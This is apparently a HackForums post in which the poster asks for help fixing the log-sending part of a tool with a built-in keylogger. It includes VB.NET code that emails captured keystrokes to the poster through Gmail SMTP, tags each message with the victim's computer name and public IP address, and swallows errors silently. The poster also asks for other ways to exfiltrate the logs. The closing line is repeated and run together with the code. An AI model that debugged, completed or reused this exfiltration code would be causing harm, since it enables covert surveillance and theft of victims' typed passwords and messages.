Goodevening dear HackForums, as the title says i've encountered a little problem during my adventure in coding a tool which i have put a keylog function inside, the fact is that i tried to get working the email send function to send to myself the logs but it doesn't seem to work, so i was asking you if is there something wrong in the code
or simply if you could suggest me any other way to send the logs
thanks in advance
Code
Dim ip As String = New WebClient().DownloadString("http://bot.whatismyipaddress.com/")
Try
Dim SmtpServer As New SmtpClient()
Dim mail As New MailMessage()
SmtpServer.Credentials = New _
Net.NetworkCredential("e.e", "e.e")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
mail = New MailMessage()
mail.From = New MailAddress("e.e")
mail.To.Add("e.e")
mail.Subject = My.Computer.Name & "|" & ip
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
TextBox1.Text = ""
Catch ex As Exception
End Tryor simply if you could suggest me any other way to send the logs
thanks in advance


